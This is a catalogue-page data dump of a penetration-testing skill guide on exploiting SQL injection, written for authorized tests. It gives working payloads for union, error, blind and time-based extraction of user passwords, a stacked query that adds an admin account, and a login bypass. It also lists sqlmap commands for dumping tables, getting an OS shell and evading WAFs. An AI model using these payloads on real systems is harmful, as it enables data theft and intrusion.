[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AEQN6KWABX8ZW3T36QZRA7":3,"skill-same:01M6AEQN6KWABX8ZW3T36QZRA7":114},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":8,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":18,"categories":19,"keywords":30,"publishedAt":51,"linkOnly":52,"markdownContent":53,"markdownBody":54,"frontMatter":55,"refName":73,"commitSha":74,"skillDirectory":75,"forksCount":76,"repositoryHtmlUrl":77,"repositoryHomepageUrl":78,"ownerHtmlUrl":79,"ownerBlogUrl":80,"ownerDescription":81,"updatedAt":82,"install":83,"resources":96},"01M6AEQN6KWABX8ZW3T36QZRA7","exploiting-sql-injection-vulnerabilities","SQL 注入漏洞利用","Identifies and exploits SQL injection vulnerabilities in web applications during authorized penetration tests using manual techniques and automated tools like sqlmap. The tester detects injection points through error-based, union-based, blind boolean, and time-based blind techniques across all major database engines (MySQL, PostgreSQL, MSSQL, Oracle) to demonstrate data extraction, authentication bypass, and potential remote code execution. Activates for requests involving SQL injection testing, SQLi exploitation, database security assessment, or injection vulnerability verification.","在授权渗透测试期间，使用手工技术和 sqlmap 等自动化工具识别并利用 Web 应用中的 SQL 注入漏洞。测试人员通过基于错误、基于联合查询、盲注布尔以及基于时间的盲注技术，在所有主要数据库引擎（MySQL、PostgreSQL、MSSQL、Oracle）中检测注入点，以演示数据提取、认证绕过和潜在的远程代码执行。当请求涉及 SQL 注入测试、SQLi 利用、数据库安全评估或注入漏洞验证时激活。","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36146,"Apache-2.0",null,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-sql-injection-vulnerabilities\u002FSKILL.md",[20,25],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},"01M8BR4MYFKGCC4WCWVJ50KJ2C","安全工程师","PROFESSION","适用职业",{"categoryNo":26,"categoryName":27,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C7NMKVVN7CCC4BCVAW8B18","渗透测试与红队行动","SCENARIO","使用场景",[31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50],"exploiting sql injection vulnerabilities","vulnerabilities","sql","injection","mysql","OWASP-A03","sqlmap","SQL-injection","database-security","t1078","data","postgresql","testing","database","verification","authentication","code","assessment","cybersecurity","oracle","2026-11-10 10:12:30",false,"---\nname: exploiting-sql-injection-vulnerabilities\ndescription: 'Identifies and exploits SQL injection vulnerabilities in web applications\n  during authorized penetration tests using manual techniques and automated tools\n  like sqlmap. The tester detects injection points through error-based, union-based,\n  blind boolean, and time-based blind techniques across all major database engines\n  (MySQL, PostgreSQL, MSSQL, Oracle) to demonstrate data extraction, authentication\n  bypass, and potential remote code execution. Activates for requests involving SQL\n  injection testing, SQLi exploitation, database security assessment, or injection\n  vulnerability verification.\n\n  '\ndomain: cybersecurity\nsubdomain: penetration-testing\ntags:\n- SQL-injection\n- sqlmap\n- database-security\n- OWASP-A03\n- injection-testing\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- ID.RA-01\n- ID.RA-06\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1595\n- T1190\n- T1059\n- T1078\n- T1055\n---\n# Exploiting SQL Injection Vulnerabilities\n\n## When to Use\n\n- Testing web application input parameters for SQL injection vulnerabilities during an authorized penetration test\n- Validating that parameterized queries and input sanitization are properly implemented across all database interactions\n- Demonstrating the business impact of a confirmed SQL injection vulnerability by extracting sensitive data\n- Verifying that WAF rules and input validation controls effectively block SQL injection payloads\n- Testing stored procedures, dynamic SQL, and ORM bypass scenarios in enterprise applications\n\n**Do not use** against databases without written authorization, for extracting or exfiltrating actual customer data beyond what is needed for proof of concept, or against production databases where exploitation could corrupt data integrity.\n\n## Prerequisites\n\n- Written authorization specifying the target application and permissible level of exploitation (detection only vs. full exploitation)\n- Burp Suite Professional configured as an intercepting proxy to capture and modify HTTP requests\n- sqlmap installed with current version for automated detection and exploitation\n- Knowledge of the target database engine (MySQL, PostgreSQL, MSSQL, Oracle) or ability to fingerprint it\n- Test accounts at various privilege levels to test injection in authenticated contexts\n\n## Workflow\n\n### Step 1: Injection Point Discovery\n\nIdentify parameters that interact with the database:\n\n- **Map all input vectors**: Catalog every parameter in URLs (GET), request bodies (POST), HTTP headers (Cookie, Referer, User-Agent, X-Forwarded-For), and JSON\u002FXML API payloads\n- **Error-based detection**: Inject a single quote (`'`) into each parameter and observe the response. SQL errors (e.g., \"You have an error in your SQL syntax\", \"unterminated quoted string\", \"ORA-01756\") confirm the parameter reaches the database unsanitized.\n- **Boolean-based detection**: Inject `' AND 1=1--` (true condition) and `' AND 1=2--` (false condition). If the responses differ (different content length, different data returned, different HTTP status), the parameter is injectable.\n- **Time-based detection**: Inject `'; WAITFOR DELAY '0:0:5'--` (MSSQL), `' AND SLEEP(5)--` (MySQL), or `'; SELECT pg_sleep(5)--` (PostgreSQL). A 5-second response delay confirms injection.\n- **Out-of-band detection**: Use payloads that trigger DNS or HTTP requests to a Burp Collaborator domain to confirm injection in scenarios where responses are not directly observable.\n- **Second-order injection**: Test for injection where input is stored and later used in a different SQL query (e.g., username stored at registration, used in a query on the profile page).\n\n### Step 2: Database Fingerprinting\n\nDetermine the database engine and version to select appropriate exploitation techniques:\n\n- **Error-based fingerprinting**: Each database produces distinctive error messages. MySQL includes \"MySQL\", MSSQL mentions \"SQL Server\", PostgreSQL references \"PG\", Oracle contains \"ORA-\".\n- **Function-based fingerprinting**: Inject database-specific functions:\n  - MySQL: `' AND VERSION()--` or `' AND @@version--`\n  - MSSQL: `' AND @@version--` or `' AND DB_NAME()--`\n  - PostgreSQL: `' AND version()--`\n  - Oracle: `' AND banner FROM v$version--`\n- **String concatenation differences**: MySQL uses `CONCAT('a','b')` or `'a' 'b'`, MSSQL uses `'a'+'b'`, PostgreSQL uses `'a'||'b'`, Oracle uses `'a'||'b'`\n- **Comment syntax**: MySQL supports `#` and `-- `, MSSQL uses `-- `, PostgreSQL uses `-- `, Oracle uses `-- `\n\n### Step 3: Manual Exploitation Techniques\n\nExploit confirmed injection points using technique-appropriate methods:\n\n- **UNION-based extraction**: Determine the number of columns with `ORDER BY` incrementing (`' ORDER BY 1--`, `' ORDER BY 2--`, etc. until an error occurs). Then construct UNION SELECT to extract data:\n  ```\n  ' UNION SELECT NULL,username,password,NULL FROM users--\n  ```\n- **Error-based extraction** (MySQL): Use `EXTRACTVALUE` or `UPDATEXML` to force data into error messages:\n  ```\n  ' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version),0x7e))--\n  ```\n- **Blind boolean extraction**: Extract data one character at a time by testing character values:\n  ```\n  ' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--\n  ```\n- **Time-based blind extraction**: Same character-by-character approach using time delays:\n  ```\n  ' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a',SLEEP(5),0)--\n  ```\n- **Stacked queries** (where supported): Execute additional SQL statements:\n  ```\n  '; INSERT INTO users(username,password,role) VALUES('attacker','password','admin')--\n  ```\n\n### Step 4: Automated Exploitation with sqlmap\n\nUse sqlmap for efficient exploitation of confirmed injection points:\n\n- **Basic detection**: `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage?id=1\" --batch --random-agent` to detect injection and identify the database\n- **Extract databases**: `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage?id=1\" --dbs` to list all databases\n- **Extract tables**: `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage?id=1\" -D \u003Cdatabase> --tables` to list tables\n- **Extract data**: `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage?id=1\" -D \u003Cdatabase> -T users --dump --threads 5` to extract table contents\n- **POST parameters**: `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Flogin\" --data=\"username=test&password=test\" -p username` to test POST parameters\n- **Cookie injection**: `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage\" --cookie=\"session=abc123; id=1*\" --level 2` to test cookie parameters (mark injectable parameter with *)\n- **OS command execution** (if DB user has sufficient privileges): `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage?id=1\" --os-shell` to attempt command execution via xp_cmdshell (MSSQL) or INTO OUTFILE (MySQL)\n- **Tamper scripts**: `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=space2comment,between` to bypass WAF filters\n\n### Step 5: Impact Demonstration and Reporting\n\nDocument the full impact of the SQL injection vulnerability:\n\n- **Data extraction evidence**: Capture screenshots or sqlmap output showing extracted database names, table schemas, and sample records (redact actual PII in the report)\n- **Authentication bypass**: Demonstrate login bypass with `admin' OR 1=1--` and document the bypassed authentication mechanism\n- **Privilege escalation**: If the database user has DBA privileges, document what additional capabilities are available (file read\u002Fwrite, command execution)\n- **Lateral movement potential**: Document if the database server has network access to other internal systems that could be reached through OS-level access gained via SQLi\n- **Remediation**: Provide specific code-level fixes showing the vulnerable query and the corrected parameterized version\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **SQL Injection** | A code injection technique that exploits unvalidated user input in SQL queries to manipulate database operations, extract data, or execute administrative operations |\n| **Union-Based SQLi** | Injection technique that appends a UNION SELECT statement to the original query to extract data from other tables in the same response |\n| **Blind SQL Injection** | Injection where the application does not return query results directly; the attacker infers data through boolean responses or time delays |\n| **Parameterized Query** | A prepared SQL statement where user input is passed as parameters rather than concatenated into the query string, preventing injection |\n| **Second-Order Injection** | SQL injection where the malicious payload is stored by the application and executed in a different context or SQL query at a later time |\n| **Stacked Queries** | Executing multiple SQL statements separated by semicolons in a single request, enabling INSERT, UPDATE, or DELETE operations through injection |\n| **WAF Bypass** | Techniques for evading Web Application Firewall rules that block common SQL injection patterns, using encoding, alternate syntax, or fragmentation |\n\n## Tools & Systems\n\n- **sqlmap**: Automated SQL injection detection and exploitation tool supporting 6 injection techniques across 30+ database management systems\n- **Burp Suite Professional**: HTTP proxy for intercepting, modifying, and replaying requests with SQL injection payloads across all parameter types\n- **Havij**: GUI-based SQL injection tool used for rapid automated exploitation when sqlmap is not available\n- **jSQL Injection**: Java-based SQL injection tool with GUI supporting automatic injection, database extraction, and file read\u002Fwrite\n\n## Common Scenarios\n\n### Scenario: SQL Injection in Healthcare Patient Portal\n\n**Context**: A healthcare organization's patient portal allows patients to view their medical records, appointments, and billing information. The application uses a PHP backend with MySQL database. The tester has a valid patient account.\n\n**Approach**:\n1. Map all parameters in the patient portal; identify that the appointment detail page uses `\u002Fappointment?id=4521`\n2. Inject a single quote into the id parameter; receive a MySQL error confirming the parameter is injectable\n3. Use `ORDER BY` to determine the query returns 7 columns\n4. Construct UNION SELECT to extract table names from information_schema, discovering tables: patients, medical_records, billing, admin_users\n5. Extract admin_users table to reveal 5 administrator accounts with MD5-hashed passwords\n6. Demonstrate that patient medical records for all patients are accessible by querying the medical_records table through the injection point\n7. Document that 15,000+ patient records containing PHI (protected health information) are accessible, constituting a HIPAA violation\n\n**Pitfalls**:\n- Running sqlmap with default settings against a production database and causing excessive load or data corruption\n- Extracting and storing actual patient data during the assessment rather than limiting proof to record counts and schema\n- Not testing for second-order injection in stored procedures called by the application\n- Failing to test all parameter types (cookies, headers, JSON body) and only testing URL parameters\n\n## Output Format\n\n```\n## Finding: SQL Injection in Appointment Detail Parameter\n\n**ID**: SQLI-001\n**Severity**: Critical (CVSS 9.8)\n**Affected URL**: GET \u002Fappointment?id=4521\n**Parameter**: id (GET parameter)\n**Database**: MySQL 8.0.32\n**Injection Type**: Error-based, UNION-based\n\n**Description**:\nThe appointment detail page concatenates the 'id' URL parameter directly into\na SQL query without parameterization or input validation. This allows an attacker\nto inject arbitrary SQL statements and extract data from any table in the database.\n\n**Proof of Concept**:\nRequest: GET \u002Fappointment?id=4521' UNION SELECT 1,username,password,4,5,6,7 FROM admin_users-- -\nResponse: Returns admin usernames and MD5 password hashes in the page content.\n\n**Data Accessible**:\n- patients table: 15,247 records (name, DOB, SSN, address, phone)\n- medical_records table: 43,891 records (diagnoses, prescriptions, lab results)\n- admin_users table: 5 accounts with MD5-hashed passwords\n- billing table: 28,563 records (insurance details, payment information)\n\n**Remediation**:\n1. Replace string concatenation with parameterized queries:\n   VULNERABLE:  $query = \"SELECT * FROM appointments WHERE id = \" . $_GET['id'];\n   SECURE:      $stmt = $pdo->prepare(\"SELECT * FROM appointments WHERE id = ?\");\n                $stmt->execute([$_GET['id']]);\n2. Implement input validation to reject non-integer values for the id parameter\n3. Apply least-privilege database permissions (read-only for the web application user)\n4. Deploy a WAF rule to detect and block SQL injection patterns as defense-in-depth\n```\n","# Exploiting SQL Injection Vulnerabilities\n\n## When to Use\n\n- Testing web application input parameters for SQL injection vulnerabilities during an authorized penetration test\n- Validating that parameterized queries and input sanitization are properly implemented across all database interactions\n- Demonstrating the business impact of a confirmed SQL injection vulnerability by extracting sensitive data\n- Verifying that WAF rules and input validation controls effectively block SQL injection payloads\n- Testing stored procedures, dynamic SQL, and ORM bypass scenarios in enterprise applications\n\n**Do not use** against databases without written authorization, for extracting or exfiltrating actual customer data beyond what is needed for proof of concept, or against production databases where exploitation could corrupt data integrity.\n\n## Prerequisites\n\n- Written authorization specifying the target application and permissible level of exploitation (detection only vs. full exploitation)\n- Burp Suite Professional configured as an intercepting proxy to capture and modify HTTP requests\n- sqlmap installed with current version for automated detection and exploitation\n- Knowledge of the target database engine (MySQL, PostgreSQL, MSSQL, Oracle) or ability to fingerprint it\n- Test accounts at various privilege levels to test injection in authenticated contexts\n\n## Workflow\n\n### Step 1: Injection Point Discovery\n\nIdentify parameters that interact with the database:\n\n- **Map all input vectors**: Catalog every parameter in URLs (GET), request bodies (POST), HTTP headers (Cookie, Referer, User-Agent, X-Forwarded-For), and JSON\u002FXML API payloads\n- **Error-based detection**: Inject a single quote (`'`) into each parameter and observe the response. SQL errors (e.g., \"You have an error in your SQL syntax\", \"unterminated quoted string\", \"ORA-01756\") confirm the parameter reaches the database unsanitized.\n- **Boolean-based detection**: Inject `' AND 1=1--` (true condition) and `' AND 1=2--` (false condition). If the responses differ (different content length, different data returned, different HTTP status), the parameter is injectable.\n- **Time-based detection**: Inject `'; WAITFOR DELAY '0:0:5'--` (MSSQL), `' AND SLEEP(5)--` (MySQL), or `'; SELECT pg_sleep(5)--` (PostgreSQL). A 5-second response delay confirms injection.\n- **Out-of-band detection**: Use payloads that trigger DNS or HTTP requests to a Burp Collaborator domain to confirm injection in scenarios where responses are not directly observable.\n- **Second-order injection**: Test for injection where input is stored and later used in a different SQL query (e.g., username stored at registration, used in a query on the profile page).\n\n### Step 2: Database Fingerprinting\n\nDetermine the database engine and version to select appropriate exploitation techniques:\n\n- **Error-based fingerprinting**: Each database produces distinctive error messages. MySQL includes \"MySQL\", MSSQL mentions \"SQL Server\", PostgreSQL references \"PG\", Oracle contains \"ORA-\".\n- **Function-based fingerprinting**: Inject database-specific functions:\n  - MySQL: `' AND VERSION()--` or `' AND @@version--`\n  - MSSQL: `' AND @@version--` or `' AND DB_NAME()--`\n  - PostgreSQL: `' AND version()--`\n  - Oracle: `' AND banner FROM v$version--`\n- **String concatenation differences**: MySQL uses `CONCAT('a','b')` or `'a' 'b'`, MSSQL uses `'a'+'b'`, PostgreSQL uses `'a'||'b'`, Oracle uses `'a'||'b'`\n- **Comment syntax**: MySQL supports `#` and `-- `, MSSQL uses `-- `, PostgreSQL uses `-- `, Oracle uses `-- `\n\n### Step 3: Manual Exploitation Techniques\n\nExploit confirmed injection points using technique-appropriate methods:\n\n- **UNION-based extraction**: Determine the number of columns with `ORDER BY` incrementing (`' ORDER BY 1--`, `' ORDER BY 2--`, etc. until an error occurs). Then construct UNION SELECT to extract data:\n  ```\n  ' UNION SELECT NULL,username,password,NULL FROM users--\n  ```\n- **Error-based extraction** (MySQL): Use `EXTRACTVALUE` or `UPDATEXML` to force data into error messages:\n  ```\n  ' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version),0x7e))--\n  ```\n- **Blind boolean extraction**: Extract data one character at a time by testing character values:\n  ```\n  ' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--\n  ```\n- **Time-based blind extraction**: Same character-by-character approach using time delays:\n  ```\n  ' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a',SLEEP(5),0)--\n  ```\n- **Stacked queries** (where supported): Execute additional SQL statements:\n  ```\n  '; INSERT INTO users(username,password,role) VALUES('attacker','password','admin')--\n  ```\n\n### Step 4: Automated Exploitation with sqlmap\n\nUse sqlmap for efficient exploitation of confirmed injection points:\n\n- **Basic detection**: `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage?id=1\" --batch --random-agent` to detect injection and identify the database\n- **Extract databases**: `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage?id=1\" --dbs` to list all databases\n- **Extract tables**: `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage?id=1\" -D \u003Cdatabase> --tables` to list tables\n- **Extract data**: `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage?id=1\" -D \u003Cdatabase> -T users --dump --threads 5` to extract table contents\n- **POST parameters**: `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Flogin\" --data=\"username=test&password=test\" -p username` to test POST parameters\n- **Cookie injection**: `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage\" --cookie=\"session=abc123; id=1*\" --level 2` to test cookie parameters (mark injectable parameter with *)\n- **OS command execution** (if DB user has sufficient privileges): `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage?id=1\" --os-shell` to attempt command execution via xp_cmdshell (MSSQL) or INTO OUTFILE (MySQL)\n- **Tamper scripts**: `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=space2comment,between` to bypass WAF filters\n\n### Step 5: Impact Demonstration and Reporting\n\nDocument the full impact of the SQL injection vulnerability:\n\n- **Data extraction evidence**: Capture screenshots or sqlmap output showing extracted database names, table schemas, and sample records (redact actual PII in the report)\n- **Authentication bypass**: Demonstrate login bypass with `admin' OR 1=1--` and document the bypassed authentication mechanism\n- **Privilege escalation**: If the database user has DBA privileges, document what additional capabilities are available (file read\u002Fwrite, command execution)\n- **Lateral movement potential**: Document if the database server has network access to other internal systems that could be reached through OS-level access gained via SQLi\n- **Remediation**: Provide specific code-level fixes showing the vulnerable query and the corrected parameterized version\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **SQL Injection** | A code injection technique that exploits unvalidated user input in SQL queries to manipulate database operations, extract data, or execute administrative operations |\n| **Union-Based SQLi** | Injection technique that appends a UNION SELECT statement to the original query to extract data from other tables in the same response |\n| **Blind SQL Injection** | Injection where the application does not return query results directly; the attacker infers data through boolean responses or time delays |\n| **Parameterized Query** | A prepared SQL statement where user input is passed as parameters rather than concatenated into the query string, preventing injection |\n| **Second-Order Injection** | SQL injection where the malicious payload is stored by the application and executed in a different context or SQL query at a later time |\n| **Stacked Queries** | Executing multiple SQL statements separated by semicolons in a single request, enabling INSERT, UPDATE, or DELETE operations through injection |\n| **WAF Bypass** | Techniques for evading Web Application Firewall rules that block common SQL injection patterns, using encoding, alternate syntax, or fragmentation |\n\n## Tools & Systems\n\n- **sqlmap**: Automated SQL injection detection and exploitation tool supporting 6 injection techniques across 30+ database management systems\n- **Burp Suite Professional**: HTTP proxy for intercepting, modifying, and replaying requests with SQL injection payloads across all parameter types\n- **Havij**: GUI-based SQL injection tool used for rapid automated exploitation when sqlmap is not available\n- **jSQL Injection**: Java-based SQL injection tool with GUI supporting automatic injection, database extraction, and file read\u002Fwrite\n\n## Common Scenarios\n\n### Scenario: SQL Injection in Healthcare Patient Portal\n\n**Context**: A healthcare organization's patient portal allows patients to view their medical records, appointments, and billing information. The application uses a PHP backend with MySQL database. The tester has a valid patient account.\n\n**Approach**:\n1. Map all parameters in the patient portal; identify that the appointment detail page uses `\u002Fappointment?id=4521`\n2. Inject a single quote into the id parameter; receive a MySQL error confirming the parameter is injectable\n3. Use `ORDER BY` to determine the query returns 7 columns\n4. Construct UNION SELECT to extract table names from information_schema, discovering tables: patients, medical_records, billing, admin_users\n5. Extract admin_users table to reveal 5 administrator accounts with MD5-hashed passwords\n6. Demonstrate that patient medical records for all patients are accessible by querying the medical_records table through the injection point\n7. Document that 15,000+ patient records containing PHI (protected health information) are accessible, constituting a HIPAA violation\n\n**Pitfalls**:\n- Running sqlmap with default settings against a production database and causing excessive load or data corruption\n- Extracting and storing actual patient data during the assessment rather than limiting proof to record counts and schema\n- Not testing for second-order injection in stored procedures called by the application\n- Failing to test all parameter types (cookies, headers, JSON body) and only testing URL parameters\n\n## Output Format\n\n```\n## Finding: SQL Injection in Appointment Detail Parameter\n\n**ID**: SQLI-001\n**Severity**: Critical (CVSS 9.8)\n**Affected URL**: GET \u002Fappointment?id=4521\n**Parameter**: id (GET parameter)\n**Database**: MySQL 8.0.32\n**Injection Type**: Error-based, UNION-based\n\n**Description**:\nThe appointment detail page concatenates the 'id' URL parameter directly into\na SQL query without parameterization or input validation. This allows an attacker\nto inject arbitrary SQL statements and extract data from any table in the database.\n\n**Proof of Concept**:\nRequest: GET \u002Fappointment?id=4521' UNION SELECT 1,username,password,4,5,6,7 FROM admin_users-- -\nResponse: Returns admin usernames and MD5 password hashes in the page content.\n\n**Data Accessible**:\n- patients table: 15,247 records (name, DOB, SSN, address, phone)\n- medical_records table: 43,891 records (diagnoses, prescriptions, lab results)\n- admin_users table: 5 accounts with MD5-hashed passwords\n- billing table: 28,563 records (insurance details, payment information)\n\n**Remediation**:\n1. Replace string concatenation with parameterized queries:\n   VULNERABLE:  $query = \"SELECT * FROM appointments WHERE id = \" . $_GET['id'];\n   SECURE:      $stmt = $pdo->prepare(\"SELECT * FROM appointments WHERE id = ?\");\n                $stmt->execute([$_GET['id']]);\n2. Implement input validation to reject non-integer values for the id parameter\n3. Apply least-privilege database permissions (read-only for the web application user)\n4. Deploy a WAF rule to detect and block SQL injection patterns as defense-in-depth\n```\n",{"name":5,"tags":56,"author":58,"domain":49,"license":16,"version":59,"nist_csf":60,"subdomain":65,"description":66,"mitre_attack":67},[38,37,39,36,57],"injection-testing","mahipal","1.0.0",[61,62,63,64],"ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07","penetration-testing","Identifies and exploits SQL injection vulnerabilities in web applications during authorized penetration tests using manual techniques and automated tools like sqlmap. The tester detects injection points through error-based, union-based, blind boolean, and time-based blind techniques across all major database engines (MySQL, PostgreSQL, MSSQL, Oracle) to demonstrate data extraction, authentication bypass, and potential remote code execution. Activates for requests involving SQL injection testing, SQLi exploitation, database security assessment, or injection vulnerability verification.\n",[68,69,70,71,72],"T1595","T1190","T1059","T1078","T1055","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fexploiting-sql-injection-vulnerabilities",4425,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":9,"skillName":5,"commands":84,"prompt":94,"zipAvailable":95},[85,88,91],{"tool":86,"command":87},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-sql-injection-vulnerabilities",{"tool":89,"command":90},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-sql-injection-vulnerabilities",{"tool":92,"command":93},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-sql-injection-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-sql-injection-vulnerabilities\u002FSKILL.md",true,[97,102,108],{"path":98,"resourceType":98,"resourceTypeDesc":99,"sizeBytes":100,"sourceHtmlUrl":101},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-sql-injection-vulnerabilities\u002FLICENSE",{"path":103,"resourceType":104,"resourceTypeDesc":105,"sizeBytes":106,"sourceHtmlUrl":107},"references\u002Fapi-reference.md","REFERENCE","参考文档",1904,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-sql-injection-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":109,"resourceType":110,"resourceTypeDesc":111,"sizeBytes":112,"sourceHtmlUrl":113},"scripts\u002Fagent.py","SCRIPT","脚本",7520,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-sql-injection-vulnerabilities\u002Fscripts\u002Fagent.py",[115,146,174,204,234,265],{"skillNo":116,"name":117,"nameZh":118,"description":119,"descriptionZh":120,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":121,"categories":122,"keywords":127,"publishedAt":51},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","SLSA 构建来源验证","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","使用 Sigstore 的 cosign（verify、verify-attestation、verify-blob-attestation）和 slsa-verifier（verify-artifact）验证工件签名和 SLSA 来源（provenance），强制校验 keyless OIDC 构建者身份和源仓库是否符合 SLSA Build 级别。适用于 CI\u002FCD 中部署工件前、消费第三方证明时、建立 SLSA Build L3 管道，或在事件响应或准入控制期间确认来源的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[123,124],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":125,"categoryName":126,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C32Q37WAMK06SGMFC02VFP","软件供应链安全",[128,129,130,131,132,49,133,134,135,47,136,137,138,139,140,141,142,143,144,145],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","security","incident response","identity","pr","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":147,"name":148,"nameZh":149,"description":150,"descriptionZh":151,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":152,"categories":153,"keywords":158,"publishedAt":51},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","TPM 测量启动验证","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","使用 tpm2-tools 验证 TPM 2.0 测量启动（measured boot）的完整性和远程证明：读取 PCR（tpm2_pcrread）、重放启动事件日志、生成并检查签名报价（tpm2_quote\u002Ftpm2_checkquote），以及将机密封印（seal）到 PCR 策略。适用于确认系统已启动可信固件\u002F内核以实现零信任（Zero Trust）设备状态、通过 PCR 漂移检测启动链篡改，或构建黄金值基线用于机群（fleet）证明。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[154,155],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":156,"categoryName":157,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C89JJEXGGRGHS6XVXDA46K","终端安全加固",[159,142,160,161,132,162,49,135,45,163,164,165,166,167,168,169,170,171,172,173],"boot","TPM","validating tpm measured boot 